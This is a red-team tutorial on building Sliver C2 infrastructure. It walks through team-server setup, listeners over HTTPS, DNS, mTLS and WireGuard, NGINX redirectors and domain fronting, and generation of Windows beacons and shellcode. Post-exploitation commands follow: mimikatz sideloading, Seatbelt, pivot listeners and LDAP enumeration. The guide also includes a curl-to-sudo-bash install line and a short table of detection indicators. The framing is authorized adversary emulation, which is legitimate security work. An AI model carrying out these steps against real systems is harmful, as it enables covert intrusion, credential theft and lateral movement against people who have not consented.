Building C2 Infrastructure with Sliver Framework

Overview

Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.

When to Use

• When deploying or configuring building c2 infrastructure with sliver framework capabilities in your environment
• When establishing security controls aligned to compliance requirements
• When building or improving security architecture for this domain
• When conducting security assessments that require this implementation

Prerequisites

• Familiarity with red teaming concepts and tools
• Access to a test or lab environment for safe execution
• Python 3.8+ with required dependencies installed
• Appropriate authorization for any testing activities

Objectives

• Deploy a Sliver team server on hardened cloud infrastructure
• Configure HTTPS, mTLS, DNS, and WireGuard listeners
• Generate implants (beacons and sessions) for target platforms
• Set up NGINX or Apache redirectors between implants and the team server
• Implement Cloudflare or CDN-based domain fronting for traffic obfuscation
• Configure multi-operator access with certificate-based authentication
• Establish operational security controls for C2 communications

MITRE ATT&CK Mapping

• T1071.001 - Application Layer Protocol: Web Protocols
• T1071.004 - Application Layer Protocol: DNS
• T1573.002 - Encrypted Channel: Asymmetric Cryptography
• T1090.002 - Proxy: External Proxy (Redirectors)
• T1105 - Ingress Tool Transfer
• T1132.001 - Data Encoding: Standard Encoding
• T1572 - Protocol Tunneling

Workflow

Phase 1: Team Server Deployment

1. Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server
2. Harden the OS: disable SSH password auth, configure UFW/iptables, install fail2ban
3. Install Sliver using the official install script:

   curl https://sliver.sh/install | sudo bash
   

4. Start the Sliver server daemon:

   systemctl start sliver
   # Or run interactively
   sliver-server
   

5. Generate operator configuration files for team members:

   new-operator --name operator1 --lhost <team-server-ip>
   

Phase 2: Listener Configuration

1. Configure an HTTPS listener with a legitimate SSL certificate:

   https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
   

2. Configure a DNS listener for fallback C2:

   dns --domains c2dns.example.com --lport 53
   

3. Configure mTLS listener for high-security sessions:

   mtls --lhost 0.0.0.0 --lport 8888
   

4. Configure WireGuard listener for tunneled access:

   wg --lport 51820
   

Phase 3: Redirector Setup

1. Deploy a separate VPS as a redirector (positioned between targets and team server)
2. Install and configure NGINX as a reverse proxy:

   server {
       listen 443 ssl;
       server_name c2.example.com;
       ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
       ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
   
       location / {
           proxy_pass https://<team-server-ip>:443;
           proxy_ssl_verify off;
           proxy_set_header Host $host;
           proxy_set_header X-Real-IP $remote_addr;
       }
   }
   

3. Configure iptables rules on the team server to only accept connections from the redirector:

   iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
   iptables -A INPUT -p tcp --dport 443 -j DROP
   

4. Optionally set up Cloudflare as a CDN layer in front of the redirector for domain fronting

Phase 4: Implant Generation

1. Generate an HTTPS beacon implant:

   generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
   

2. Generate a DNS beacon for restricted networks:

   generate beacon --dns c2dns.example.com --os windows --arch amd64
   

3. Generate a shellcode payload for injection:

   generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
   

4. Configure beacon jitter and callback intervals:

   generate beacon --http https://c2.example.com --seconds 60 --jitter 30
   

Phase 5: Post-Exploitation Operations

1. Interact with active beacons/sessions:

   beacons        # List active beacons
   use <beacon-id> # Interact with a beacon
   

2. Execute post-exploitation modules:

   ps              # Process listing
   netstat         # Network connections
   execute-assembly /path/to/Seatbelt.exe -group=all  # Run .NET assemblies
   sideload /path/to/mimikatz.dll  # Load DLLs
   

3. Set up pivots for internal network access:

   pivots tcp --bind 0.0.0.0:9898  # Create pivot listener on compromised host
   

4. Use BOF (Beacon Object Files) for in-memory execution:

   armory install sa-ldapsearch  # Install from armory
   sa-ldapsearch -- "(objectClass=user)"  # Execute BOF
   

Tools and Resources

Tool	Purpose	Platform
Sliver Server	C2 team server and implant management	Linux/macOS/Windows
Sliver Client	Operator console for team members	Cross-platform
NGINX	Redirector and reverse proxy	Linux
Certbot	Let's Encrypt SSL certificate generation	Linux
Cloudflare	CDN and domain fronting	Cloud
Armory	Sliver extension/BOF package manager	Built-in

Detection Signatures

Indicator	Detection Method
Default Sliver HTTP headers	Network traffic analysis for unusual User-Agent strings
mTLS on non-standard ports	Firewall logs for outbound connections to unusual ports
DNS TXT record queries with high entropy	DNS log analysis for encoded C2 traffic
WireGuard UDP traffic on port 51820	Network flow analysis for WireGuard handshake patterns
Sliver implant file hashes	EDR/AV signature matching against known Sliver samples

Validation Criteria

• Team server deployed and hardened with firewall rules
• HTTPS listener configured with valid SSL certificate
• DNS listener configured as fallback C2 channel
• At least one redirector deployed between targets and team server
• Multi-operator access configured with unique certificates
• Implants generated for target operating systems
• Beacon callback intervals and jitter configured for stealth
• Post-exploitation modules tested (process listing, .NET assembly execution)
• Pivot functionality validated for internal network access
• All C2 traffic encrypted and passing through redirectors